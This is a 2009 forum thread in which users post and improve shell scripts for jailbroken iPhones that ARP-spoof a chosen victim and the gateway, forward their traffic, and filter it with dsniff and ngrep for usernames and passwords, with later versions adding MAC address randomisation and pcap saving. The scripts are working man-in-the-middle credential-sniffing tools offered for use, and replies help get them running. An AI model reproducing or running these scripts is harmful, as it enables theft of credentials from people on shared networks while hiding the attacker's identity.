Home User CP Donate Chat Register Today!  
  Get New posts Faq / Help?
   


Go Back   Hackint0sh > Projects and Hacks > iPhone > Applications & Development > Free Toolchain Software

Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 07-23-2009, 09:53 PM
fr0g
Status: Offline
Trial Member
 
Join Date: Jul 2009
Posts: 1
Rep Power: 0
fr0g is on a distinguished road
Talking Working dSniff script for iphone 3.0

Search & install dsniff.deb from mulliner (google) on the phone and create a file...

Code:
#!/bin/sh
#The script needs the following packets: dsniff gawk
#fr0g
tbroadcast=`ifconfig en0|grep broadcast|cut -d" " -f6`
tgateway=`netstat -rn|grep default|grep en0|awk '{print $2}'`
tsubnet=`ifconfig en0|grep broadcast|cut -d" " -f2|cut -d '.' -f1-3`
tlocalip=`ifconfig en0|grep broadcast|cut -d" " -f2`
tmac=`ifconfig en0|grep ether|cut -d" " -f2`

echo ""
echo "#####################"
echo "### dSniff script ###"
echo "#####################"
echo ""
echo "Target IP $tsubnet.?"
read "thost"
tip=`echo $tsubnet.$thost`
echo ""
echo "Subnet    $tbroadcast"
echo "Gateway   $tgateway"
echo "Local MAC $tmac"
echo "Local IP  $tlocalip"
echo "Target IP $tip"
echo ""
echo "Start sniffing? (y,n)"
read tsniff
if [ $tsniff = y ] 
 then 
  sysctl -w net.inet.ip.forwarding=1
  arpspoof -i en0 -t $tip $tgateway > /dev/null 2>&1 &
  arpspoof -i en0 -t $tgateway $tip > /dev/null 2>&1 &
  dsniff
  #ngrep 'USER|PASS|user|pass|username|password|uid|upw' src host $tip|egrep -A0 ">|USER|PASS|user|pass|username|password|uid=|upw="
  #ngrep 'USER|PASS|user|pass|username|password' src host $tip|egrep -A1 ">|USER|PASS|user|pass|username|password"
  ngrep 'USER|PASS|user|pass|username|password' src host $tip
  sleep 3
  ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
  #dsniff
 else
  echo ""
  echo "Clear state? (y,n)"
  read tstate
  if [ $tstate = n ] 
   then
    ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
    exit 0
   else
    sysctl -w net.inet.ip.forwarding=0
    killall dsniff
    killall arpspoof
    killall ngrep
    sleep 3
    ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
    echo "Exit"
    echo ""
    exit 0
  fi
fi

exit 0

Last edited by fr0g; 07-23-2009 at 09:57 PM.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post!
Reply With Quote
  #2 (permalink)  
Old 07-29-2009, 04:59 AM
modisaster
Status: Offline
Trial Member
 
Join Date: Jul 2009
Posts: 1
Rep Power: 0
modisaster is on a distinguished road
Default

Great work ;-) Thanks
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post!
Reply With Quote
  #3 (permalink)  
Old 10-13-2009, 01:50 AM
111111
Status: Offline
Member
 
Join Date: Jun 2009
Posts: 50
Rep Power: 3
111111 is on a distinguished road
Default

Yep, nice. But dsniff and gawk are not the only packages required... you must also install:

coreutils
coreutils-bin
shell-cmds
system-cmds
grep
ngrep
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post!
Reply With Quote
Sponsored links Remove advertisements
Advertisement
Advertisement

  #4 (permalink)  
Old 10-18-2009, 07:43 AM
Charybdis
Status: Offline
Junior Member
 
Join Date: Sep 2009
Posts: 8
Rep Power: 0
Charybdis is on a distinguished road
Default

Looks like it could work well, but I'm getting the following error.

Code:
Start sniffing? (y,n)
y
net.inet.ip.forwarding: 1 -> 1
dyld: Library not loaded: /usr/lib/libdb-4.6.dylib
  Referenced from: /usr/sbin/dsniff
  Reason: image not found
./dsniff.sh: line 59:   955 Trace/BPT trap          dsniff
interface: en0 (192.168.1.0/255.255.255.0)
filter: (ip) and ( src host 192.168.1.118 )
match: USER|PASS|user|pass|username|password
##############################
Any idea how I can fix this?

Thanks


Note: adv-cmds package was also installed. It contains the ps command.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post!
Reply With Quote
  #5 (permalink)  
Old 10-24-2009, 07:09 PM
fr00g
Status: Offline
Trial Member
 
Join Date: Oct 2009
Posts: 2
Rep Power: 0
fr00g is on a distinguished road
Talking Small upgrade

Change your MAC first!
Code:
#!/bin/sh
#written by yjps3
#modified by fr0g 07.2009
#rnd code by vaporub 

tmac_old=`ifconfig en0|grep ether|cut -d" " -f2`
#Use rnd MAC
NEW_MAC=`(date) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`
/sbin/ifconfig en0 up lladdr 00:$NEW_MAC
tmac_new=`ifconfig en0|grep ether|cut -d" " -f2`

echo "MAC old $tmac_old"
echo "MAC new $tmac_new"
Sniffing all packets in the broadcast domain
Code:
#!/bin/sh
#The script needs the following packets: dsniff gawk ngrep coreutils coreutils-bin shell-cmds system-cmds grep bigbosshackertools mobileterminal 

tbroadcast=`ifconfig en0|grep broadcast|cut -d" " -f6`
tgateway=`netstat -rn|grep default|grep en0|awk '{print $2}'`
tsubnet=`ifconfig en0|grep broadcast|cut -d" " -f2|cut -d '.' -f1-3`
tlocalip=`ifconfig en0|grep broadcast|cut -d" " -f2`
tmac=`ifconfig en0|grep ether|cut -d" " -f2`

echo ""
echo "#####################"
echo "### dSniff script ###"
echo "#####################"
echo ""
echo "Gateway   $tgateway"
echo "Local IP  $tlocalip"
echo "Local MAC $tmac"
echo ""
echo "Start sniffing? (y,n)"
read tsniff
if [ $tsniff = y ] 
 then 
  sysctl -w net.inet.ip.forwarding=1
  arpspoof -i en0 $tgateway > /dev/null 2>&1 &
  ngrep 'USER|PASS|user|pass|username|password'
  #ngrep 'USER|PASS|user|pass|username|password|uid|upw'|egrep -A1 "USER|PASS|user|pass|username|password|uid|upw"
  #dsniff
  sysctl -w net.inet.ip.forwarding=0
  killall dsniff
  killall arpspoof
  killall ngrep
  sleep 5
  ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep 
  echo "Exit"
 else
  sysctl -w net.inet.ip.forwarding=0
  killall dsniff
  killall arpspoof
  killall ngrep
  sleep 5
  ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep 
  echo "Exit"
fi
exit 0
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post!
Reply With Quote
  #6 (permalink)  
Old 10-30-2009, 02:42 AM
return0
Status: Offline
Trial Member
 
Join Date: Oct 2009
Posts: 2
Rep Power: 0
return0 is on a distinguished road
Default New version of the script

Hi guys!! Thank you for this wonderful script and also other things
This version has option for NGREP to save to file. Also output is parsed by default, so you don't get so much on your small screen. I also included mac changer but it has some problems, need someone to take a look why can't we change MAC just like this.

Code:
#!/bin/sh
#edited by return0

if [ "$UID" != 0 ]
then
 echo "You must be root to run this script!"
 exit
fi

#tmac_old=`ifconfig en0|grep ether|cut -d" " -f2`
#echo "MAC old $tmac_old"
#Use rnd MAC
#randmac=`echo $RANDOM | md5sum | sed -r 's/(..)/\1:/g; s/^(.{14}).*$/\1/;'`
#ifconfig en0 up lladdr 00:$randmac
#tmac_new=`ifconfig en0|grep ether|cut -d" " -f2`
#echo "MAC new $tmac_new"

tbroadcast=`ifconfig en0|grep broadcast|cut -d" " -f6`
tgateway=`netstat -rn|grep default|grep en0|awk '{print $2}'`
tsubnet=`ifconfig en0|grep broadcast|cut -d" " -f2|cut -d '.' -f1-3`
tlocalip=`ifconfig en0|grep broadcast|cut -d" " -f2`
tmac=`ifconfig en0|grep ether|cut -d" " -f2`

echo ""
echo "#####################"
echo "### dSniff script ###"
echo "#####################"
echo ""
echo ""
echo "Subnet    $tbroadcast"
echo "Gateway   $tgateway"
echo "Local MAC $tmac"
echo "Local IP  $tlocalip"
echo "Target IP $tip"
echo ""
echo "Start sniffing? (y,n)"
read tsniff
if [ $tsniff = y ] 
 then 
  echo "Target IP $tsubnet.? (enter a number):"
read "thost"
tip=`echo $tsubnet.$thost`
  echo "Save output to pcap file? (path/n)"
  read tsave
  if [ $tsave != n ]
   then 
   save="-O "$tsave
  fi
  sysctl -w net.inet.ip.forwarding=1
  arpspoof -i en0 -t $tip $tgateway > /dev/null 2>&1 &
  arpspoof -i en0 -t $tgateway $tip > /dev/null 2>&1 &
  #dsniff
  #ngrep 'USER|PASS|user|pass|username|password|uid|upw' src host $tip|egrep -A0 ">|USER|PASS|user|pass|username|password|uid=|upw="
  ngrep $save 'USER|PASS|user|pass|username|password' src host $tip|egrep -A1 ">|USER|PASS|user|pass|username|password"
  #ngrep 'USER|PASS|user|pass|username|uporabnik|email|password|passwd|pwd|uname|admin|root|geslo' src host $tip 
  sleep 3
  ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
  #dsniff
 else
  echo ""
  echo "Clear state? (y,n)"
  read tstate
  if [ $tstate = n ] 
   then
    ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
    exit 0
   else
    sysctl -w net.inet.ip.forwarding=0
    killall dsniff
    killall arpspoof
    killall ngrep
    sleep 3
    ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
    echo "Exit"
    echo ""
    exit 0
  fi
fi

exit 0
Lets make it even better

Last edited by return0; 11-01-2009 at 08:44 PM.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post!
Reply With Quote
Remove advertisements
Advertisement
Advertisement Sponsored links

Reply

Bookmarks

Tags
arps

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
Leopard on Asus eeePC 1000HGo with 3G working JokerPCs Tutorials 50 09-23-2009 03:42 PM
[hAcx] iLiberty+ Script Generator (Windows) hacx Tools 26 07-04-2008 08:51 AM
[Speaker][SOLVED] Stopped working Cerebro Hardware 4 01-18-2008 01:04 PM
T-zones no longer working amagab General 7 01-07-2008 08:42 AM
Iphone Orange Uk-Turbo Sim. Working, info here Johnaldinho Turbo-, Supersim and Simcloning Solution 0 08-24-2007 01:34 PM



All times are GMT +2. The time now is 12:52 PM.



Powered by vBulletin® Version 3.8.2
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Search Engine Friendly URLs by vBSEO 3.3.2 Ad Management by RedTyger
follow us on Twitter!

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105